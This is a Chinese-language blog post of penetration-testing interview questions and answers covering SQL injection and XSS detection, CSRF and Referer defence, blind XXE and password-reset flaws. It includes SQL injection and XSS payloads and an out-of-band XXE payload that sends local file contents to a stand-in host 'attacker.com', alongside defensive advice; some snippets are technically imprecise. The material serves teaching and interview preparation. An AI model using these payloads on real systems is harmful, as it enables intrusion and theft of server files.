2025年渗透测试面试题总结-某腾讯 - 一面（题目+回答）

网络安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。、

目录

腾讯 - 一面

一、编写工具的具体思路（SQL注入、XSS、CSRF防御）

1. SQL注入检测工具设计

2. XSS检测工具设计

3. CSRF防御工具设计

二、Referer验证与空Referer防御

1. Referer验证机制

2. 空Referer的成因与防御

三、XXE无回显探测：DNS与内部实体利用

1. 带外数据外传（OOB）

2. 内部实体探测

3. 防御方案

四、XSS硬编码与DOM型XSS转义绕过

1. 硬编码XSS利用场景

2. DOM型XSS转义绕过

3. 防御方案

五、密码重置逻辑漏洞全解析

1. 验证步骤不一致

2. Token预测与枚举

3. 敏感数据返回

4. 前后端验证码不一致

5. 注入与XSS漏洞

腾讯 - 一面

编写工具的具体思路，sql注入，xss
csrf的防御    
 refer验证，refer为空则防御（referer是浏览器特性，为空除排除特性之外的问题则做防御验证）
xxe无回显探测  dns验证，内部实体探测
xss硬编码 如何利用 前端DOM型被js代码转义出来，比如\u300c,前端是返回在了js中，在html中除非举报某种标签，其特性可导致特殊编码执行，则能转义出来。
密码重置的逻辑问题-第一二三步验证不统一，验证统一但后台返回的更改密码的token可被预测，枚举可猜解，返回敏感数据，后端与前端验证码不一致，存在数据查询则可注入，xss编码问题。

一、编写工具的具体思路（SQL注入、XSS、CSRF防御）

1. SQL注入检测工具设计

核心思路：动态扫描 + 黑白名单验证 + 上下文感知

1. 参数化查询检测
   静态分析代码中是否存在拼接SQL语句（如"SELECT * FROM users WHERE id = " + input），动态检测请求参数是否直接拼接至SQL逻辑。

   python# 检测SQL关键字（如UNION、SELECT） if re.search(r'\b(union |select|insert|update|delete|sleep|extractvalue)\b', payload, re.I): log_sql_injection_attempt() 

2. Payload生成与模糊测试
   生成常见注入语句（如' OR 1=1 --、; WAITFOR DELAY '0:0:5'），根据响应时间或内容差异判断是否存在漏洞。
3. 上下文感知绕过检测
   针对预编译语句的绕过场景（如ORDER BY后接用户输入），构造数字型或布尔型盲注测试。

   sql-- 盲注测试：通过响应状态判断 SELECT * FROM users WHERE id = 1 AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1) = 'a' 

2. XSS检测工具设计

核心思路：输入输出追踪 + DOM事件模拟 + 编码绕过检测

1. 输入点识别与污染传播
   标记所有用户可控输入（如URL参数、表单字段），追踪数据流向（如innerHTML、document.write ）。
2. Payload动态执行检测
   插入探测脚本并监控是否触发弹窗或DOM修改：

   html<script> // 检测是否执行 window.xssDetected = true; </script> 

3. 编码绕过测试
   测试HTML实体、Unicode、JS编码的绕过可能性：

   javascript// Unicode编码绕过 alert('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029'); 

3. CSRF防御工具设计

核心思路：Token校验 + 同源策略验证 + 请求头检查

1. CSRF Token生成与校验
   服务端生成随机Token并绑定至用户会话，前端通过隐藏字段提交：

   html<input type="hidden" name="csrf_token" value="RANDOM_STRING"> 

2. SameSite Cookie属性
   设置Cookie的SameSite=Strict或Lax，限制跨域请求携带Cookie。
3. Referer与Origin头验证
   校验请求头中的Referer或Origin是否属于合法域名。

---

二、Referer验证与空Referer防御

1. Referer验证机制

• 合法场景：
  • 用户从站内页面跳转至敏感操作（如支付页面）。
  • 限制跨域请求（如API接口仅允许指定来源）。
• 防御逻辑：

  pythondef check_referer(request): allowed_domains = ['example.com', 'trusted-site.com'] referer = request.headers.get('Referer') if referer and any(domain in referer for domain in allowed_domains): return True else: log_suspicious_request() return False 

2. 空Referer的成因与防御

• 空Referer场景：
  • 用户直接输入URL访问。
  • 浏览器隐私模式或插件屏蔽Referer。
  • 页面通过<meta>标签或JavaScript跳转。
• 防御方案：
  1. 多因素校验：结合CSRF Token、验证码、二次确认。
  2. 日志监控：记录空Referer请求，分析异常行为。
  3. 限制敏感操作：空Referer时仅允许低风险操作（如查看信息）。

---

三、XXE无回显探测：DNS与内部实体利用

1. 带外数据外传（OOB）

• 原理：利用外部实体将数据通过DNS或HTTP请求发送至攻击者服务器。
• Payload示例：

  xml<!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd"> %remote; ]> <data>&send;</data> 

  xxe.dtd 内容：

  xml<!ENTITY % payload "<!ENTITY send SYSTEM 'http://attacker.com/?leak=%file;'>"> %payload; 

2. 内部实体探测

• 步骤：
  1. 利用<!ENTITY % local_dtd SYSTEM "file:///etc/passwd">加载本地文件。
  2. 通过参数实体触发错误回显：

     xml<!ENTITY % error "<!ENTITY % leak SYSTEM 'file:///nonexistent/%local_dtd;'>"> %error; 

3. 防御方案

• 禁用外部实体解析：

  java// Java示例 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 

---

四、XSS硬编码与DOM型XSS转义绕过

1. 硬编码XSS利用场景

• 案例：
  前端代码将用户输入硬编码至JavaScript变量：

  javascriptvar userInput = "<%= encodeJavaScript(untrustedData) %>"; // 若编码不全，可构造闭合引号 userInput = "abc\"; alert(1);//"; 

• 绕过方法：
  利用JS字符串特性（如Unicode转义、模板字符串）：

  javascript// Unicode转义执行 var payload = "\u003cimg src=x onerror=alert(1)\u003e"; 

2. DOM型XSS转义绕过

• 场景：
  用户输入经过JS转义后动态插入HTML，但转义规则存在缺陷：

  html<script> var data = "\u300cuserControlledData\u300d"; document.getElementById("output").innerHTML = data; </script> 

• 利用方式：
  构造闭合Unicode字符并插入HTML标签：

  javascript// 输入：\u300c</script><img src=x onerror=alert(1)>\u300c // 最终HTML： <script> var data = "</script><img src=x onerror=alert(1)>"; </script> 

3. 防御方案

• 严格输出编码：根据上下文选择编码方式（HTML/JS/URL）。
• CSP策略：限制脚本执行来源：

  httpContent-Security-Policy: script-src 'self' 

---

五、密码重置逻辑漏洞全解析

1. 验证步骤不一致

• 案例：
  第一步验证手机号，第二步验证邮箱，第三步直接允许重置密码。
• 攻击方式：
  攻击者完成第一步验证后，跳过后续步骤直接访问最终接口。
• 防御：
  确保所有步骤关联同一会话并顺序校验。

2. Token预测与枚举

• 漏洞成因：
  Token生成规则简单（如时间戳、连续数字）。
• 检测方法：
  生成多个Token测试是否可重复使用。
• 防御：
  使用强随机数（如UUID）并绑定用户身份。

3. 敏感数据返回

• 案例：
  重置接口返回用户ID、Token明文或密码哈希。
• 防御：
  仅返回必要状态信息，避免泄露敏感字段。

4. 前后端验证码不一致

• 场景：
  前端校验验证码后，后端未二次校验，导致可绕过。
• 防御：
  前后端统一校验逻辑，验证码一次性使用。

5. 注入与XSS漏洞

• SQL注入：
  重置接口的user_id参数未过滤：

  sqlUPDATE users SET password='...' WHERE id = 'userInput'; 

• XSS漏洞：
  重置成功页面回显用户邮箱未编码：

  html<div>重置链接已发送至<%= userEmail %></div> 

• 防御：
  参数化查询 + 输出编码。